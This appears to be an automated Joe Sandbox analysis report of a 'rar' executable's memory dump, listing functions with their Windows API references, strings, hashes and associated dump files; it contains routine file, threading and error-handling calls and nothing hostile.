Instruction ID: ccc7d6d6e598f32a18285371c344a314589b74d01b0408550003e47a9b3b2bcb
Opcode Fuzzy Hash: 17bbef4e125ef7202bf11184ec0650b854660f7e5235f7bad60fbeeb41854260
Instruction Fuzzy Hash: 9C215E7A60A641D2E632DB15E04066EB7A1FB84BA5F011677DE9D83B95CF3CE842CB00

Function 00007FF6AA1B42CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA1B430F
wcschr.LIBVCRUNTIME ref: 00007FF6AA1B432C
wcschr.LIBVCRUNTIME ref: 00007FF6AA1B433C

Strings

%c:\, xrefs: 00007FF6AA1B4302

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: wcschr$swprintf
String ID: %c:\
API String ID: 1303626722-3142399695
Opcode ID: 8ec5db83852f4a6a2a7f14eb2e9108a79b2b390c2c776aa97bec8582bcc41707
Instruction ID: 748b10e6c10ccb1e2d278169323660316e02d6c1be11c916dc3a48a0c1ae981c
Opcode Fuzzy Hash: 8ec5db83852f4a6a2a7f14eb2e9108a79b2b390c2c776aa97bec8582bcc41707
Instruction Fuzzy Hash: AF118112B19791E1EE259F11D50106D6270AF45B90B588676CF6D937E6DF3CEC638204

Function 00007FF6AA1CB780 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 00007FF6AA1CB7C0
CreateSemaphoreW.KERNEL32 ref: 00007FF6AA1CB7D0
CreateEventW.KERNEL32 ref: 00007FF6AA1CB7E7

Strings

Thread pool initialization failed., xrefs: 00007FF6AA1CB803

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: d15256d0e5626b759ea638b3cf01690b973b86e734aede79ee3cd8415fd62731
Instruction ID: da4c0894eec0fca34ce90e56a1aba648c309dc219de8f0886d3651c73e745b7a
Opcode Fuzzy Hash: d15256d0e5626b759ea638b3cf01690b973b86e734aede79ee3cd8415fd62731
Instruction Fuzzy Hash: B511E132B16681C6FB418F22E4403AE32A2EBC4B48F0C803ACA4D87259DF3E98578750

Function 00007FF6AA1D2984 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6AA1D2B96
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6AA1D2BA7

Part of subcall function 00007FF6AA1DBA34: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6AA1DB313), ref: 00007FF6AA1DBAB1
Part of subcall function 00007FF6AA1DBA34: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6AA1DB313), ref: 00007FF6AA1DBAF0

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6AA1D2BB2
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6AA1D2BC3

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Exception$Throwstd::bad_alloc::bad_alloc$FileHeaderRaise
String ID:
API String ID: 904936192-0
Opcode ID: bf3ffebf7957390d4581f483ab4461efbf63170567da09303d3b90ab416dc0f1
Instruction ID: ae738236f764461f909e8d718fbd6ba0d35205b2b83719cd3003d4a5a1a70d3a
Opcode Fuzzy Hash: bf3ffebf7957390d4581f483ab4461efbf63170567da09303d3b90ab416dc0f1
Instruction Fuzzy Hash: 1451D172A1AA81D1EB51CF25D4503AC73A1FB84B94F048236DEAE8B794DF7DD912C300

Function 00007FF6AA1A3818 Relevance: 6.1, APIs: 4, Instructions: 129filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000000,00000004,00000000,?,?,?,?,?,00007FF6AA19F6FC,00000000,?,?,?,?,00007FF6AA1A097D), ref: 00007FF6AA1A38CD
CreateFileW.KERNEL32(?,?,?,?,?,00007FF6AA19F6FC,00000000,?,?,?,?,00007FF6AA1A097D,?,?,00000000), ref: 00007FF6AA1A391F
SetFileTime.KERNEL32(?,?,?,?,?,00007FF6AA19F6FC,00000000,?,?,?,?,00007FF6AA1A097D,?,?,00000000), ref: 00007FF6AA1A399B
CloseHandle.KERNEL32(?,?,?,?,?,00007FF6AA19F6FC,00000000,?,?,?,?,00007FF6AA1A097D,?,?,00000000), ref: 00007FF6AA1A39A6

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 6b21d4b4015e45ce14e3c1bb02d2562928349115458abc9ea3e67fc953cea0f1
Instruction ID: 19e49ce783149e26f03bae8924fc19d2a299cfa89dc20dc72e2c2e821f390fbe
Opcode Fuzzy Hash: 6b21d4b4015e45ce14e3c1bb02d2562928349115458abc9ea3e67fc953cea0f1
Instruction Fuzzy Hash: 5F41D63AB0E641A2EA528B21A41177A67A2BF817E4F504376ED9D877D4DF7CDC0B8700

Function 00007FF6AA1D0244 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6AA1D03D3
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6AA1D03E4
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6AA1D03EF
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6AA1D0400

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: 448d9fab3f4c26286063d0fff6a0c35ae409658baa3bfeb12eeb43ee41abd505
Instruction ID: 9e73981dcab743ddcaa67450522e6dce2dbeb1178c58adb1d3b7824bbf3c475f
Opcode Fuzzy Hash: 448d9fab3f4c26286063d0fff6a0c35ae409658baa3bfeb12eeb43ee41abd505
Instruction Fuzzy Hash: 5A418362A0EAC2E9EB929A21D1503BD23D0EF40B84F184577DB4E86699DF2CED47C354

Function 00007FF6AA1E5120 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6AA1E5173
WideCharToMultiByte.KERNEL32 ref: 00007FF6AA1E5245
GetLastError.KERNEL32 ref: 00007FF6AA1E5268
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6AA1E529A

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: e7bd9680fa6b4193e921ea7abc60155107c03bf2766982dd05110af1441b6c30
Instruction ID: 095ae23581577b5598825be6c6a26e1d32ebe111277dcb9629720dc337986d00
Opcode Fuzzy Hash: e7bd9680fa6b4193e921ea7abc60155107c03bf2766982dd05110af1441b6c30
Instruction Fuzzy Hash: EB418721A0E742D6FB779B54D040379A6A2AF42BA8F14417ADA4986ED5DF3DDC438700

Function 00007FF6AA19D048 Relevance: 6.1, APIs: 4, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00007FF6AA1886CB,?,?,?,00007FF6AA18A5CB,?,?,00000000,?,?,00000040,?,?,00007FF6AA182DF9), ref: 00007FF6AA19D09D
CreateFileW.KERNEL32(?,00007FF6AA1886CB,?,?,?,00007FF6AA18A5CB,?,?,00000000,?,?,00000040,?,?,00007FF6AA182DF9), ref: 00007FF6AA19D0E5
CreateFileW.KERNEL32(?,00007FF6AA1886CB,?,?,?,00007FF6AA18A5CB,?,?,00000000,?,?,00000040,?,?,00007FF6AA182DF9), ref: 00007FF6AA19D114
CreateFileW.KERNEL32(?,00007FF6AA1886CB,?,?,?,00007FF6AA18A5CB,?,?,00000000,?,?,00000040,?,?,00007FF6AA182DF9), ref: 00007FF6AA19D15C

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3c41f03ffe9be2f80d80ab2a91f405bd887f89bc1d7d9ea25aa0d2314948d83b
Instruction ID: 09725c9df7fe4f367c8fafa99eab74573568e3d13a09aaf32558b0de764f5d96
Opcode Fuzzy Hash: 3c41f03ffe9be2f80d80ab2a91f405bd887f89bc1d7d9ea25aa0d2314948d83b
Instruction Fuzzy Hash: 60317332619B8582E7608F11F55476A77A0F789BB8F50432AEAAD47BC8CF3CD805CB00

Function 00007FF6AA1CB4EC Relevance: 6.0, APIs: 4, Instructions: 44threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6AA1CB549
SetPriorityClass.KERNEL32 ref: 00007FF6AA1CB554
GetCurrentThread.KERNEL32 ref: 00007FF6AA1CB55A
SetThreadPriority.KERNEL32 ref: 00007FF6AA1CB565

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CurrentPriorityThread$ClassProcess
String ID:
API String ID: 1171435874-0
Opcode ID: bb35a308c9672c43725447ff3ecbbf89940673d79f69deb8a20185b15c97b697
Instruction ID: c210a9d39bc349a15fa3d74740bd4a5cb5bdbede008b78eb589935eefdb56f4d
Opcode Fuzzy Hash: bb35a308c9672c43725447ff3ecbbf89940673d79f69deb8a20185b15c97b697
Instruction Fuzzy Hash: 23113071B1E642EAEAA68F12A4C427C6261EF84740F20407BC60AD7685DF2CBC474604

Function 00007FF6AA1E5630 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6AA1DF3FC,?,?,?,00007FF6AA1E143D), ref: 00007FF6AA1E563A
SetLastError.KERNEL32(?,?,?,00007FF6AA1DF3FC,?,?,?,00007FF6AA1E143D), ref: 00007FF6AA1E56A2
SetLastError.KERNEL32(?,?,?,00007FF6AA1DF3FC,?,?,?,00007FF6AA1E143D), ref: 00007FF6AA1E56B8
abort.LIBCMT ref: 00007FF6AA1E56BE

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: bc6db4589d12c74431344df6db0fda3963e5f3476a1a0d6bb2a5a407689805e6
Instruction ID: 65195d108fdd635602d14509a1b444ae40fb5bb2a27258133ee38c405914867a
Opcode Fuzzy Hash: bc6db4589d12c74431344df6db0fda3963e5f3476a1a0d6bb2a5a407689805e6
Instruction Fuzzy Hash: 1C01CC20B0B642E7FABAA331965513C11924F4A7A4F4805BFE91F86FD2ED2DAC434200

Function 00007FF6AA1CB850 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6AA1CBBFC: ResetEvent.KERNEL32 ref: 00007FF6AA1CBC15
Part of subcall function 00007FF6AA1CBBFC: ReleaseSemaphore.KERNEL32 ref: 00007FF6AA1CBC2B

ReleaseSemaphore.KERNEL32 ref: 00007FF6AA1CB887
CloseHandle.KERNEL32 ref: 00007FF6AA1CB8A8
DeleteCriticalSection.KERNEL32 ref: 00007FF6AA1CB8C0
CloseHandle.KERNEL32 ref: 00007FF6AA1CB8CE

Part of subcall function 00007FF6AA1CB974: WaitForSingleObject.KERNEL32 ref: 00007FF6AA1CB97B
Part of subcall function 00007FF6AA1CB974: GetLastError.KERNEL32 ref: 00007FF6AA1CB986

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CloseHandleReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 502429940-0
Opcode ID: 8563909dc3f60491a00452f33658f3f2e850a11d725ac5753c43192e2d1258eb
Instruction ID: 21e3ec1cd2b30ae58d9275b792182d3cc46444aab73bc9ed4c611584133c58c0
Opcode Fuzzy Hash: 8563909dc3f60491a00452f33658f3f2e850a11d725ac5753c43192e2d1258eb
Instruction Fuzzy Hash: DE11C632509E81E3E3559F21D94065D6330FB85790F000232D76D932A5CF39F872C704

Function 00007FF6AA1E58A4 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 245COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6AA1E5908

Strings

gfffffff, xrefs: 00007FF6AA1E5B96

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: gfffffff
API String ID: 3215553584-1523873471
Opcode ID: 21452402729b0f04a42bea99b9d48ecd324c6ba459a3d9785fd7d0df1cc262de
Instruction ID: b1c5b3fbadba5e49fd962bc8d7b82e0d1a721ddf67bf332d9bc406f9c7a73f6b
Opcode Fuzzy Hash: 21452402729b0f04a42bea99b9d48ecd324c6ba459a3d9785fd7d0df1cc262de
Instruction Fuzzy Hash: 08914C62B0A3C6D6EB368F25918037C6B96AB567E4F088176CB8D47B95DE3CD913C301

Function 00007FF6AA1BCFCF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6AA1CB6D0: Sleep.KERNEL32(?,?,?,?,00007FF6AA19CBED,?,00000000,?,00007FF6AA1C7A8C), ref: 00007FF6AA1CB730

new.LIBCMT ref: 00007FF6AA1BCFD9

Strings

rar, xrefs: 00007FF6AA1BD074
rev, xrefs: 00007FF6AA1BD00F

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Sleep
String ID: rar$rev
API String ID: 3472027048-2145959568
Opcode ID: b4a3dbcb548f429c64c95219bff2b126912035a4d4646d0106d3222159d6f56a
Instruction ID: 1f795b36650b4d270137ca243c27868150b2598aa68fe03c76d40c0c5da2dc6b
Opcode Fuzzy Hash: b4a3dbcb548f429c64c95219bff2b126912035a4d4646d0106d3222159d6f56a
Instruction Fuzzy Hash: B6A10422A0B692E6EA1ADB20C4542BC6365FF44784F4546B7DA5D8B7D7EF2CED42C300

Function 00007FF6AA1DF7CC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6AA1DF7FE
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6AA1DFA3C

Strings

*, xrefs: 00007FF6AA1DF90C

Memory Dump Source

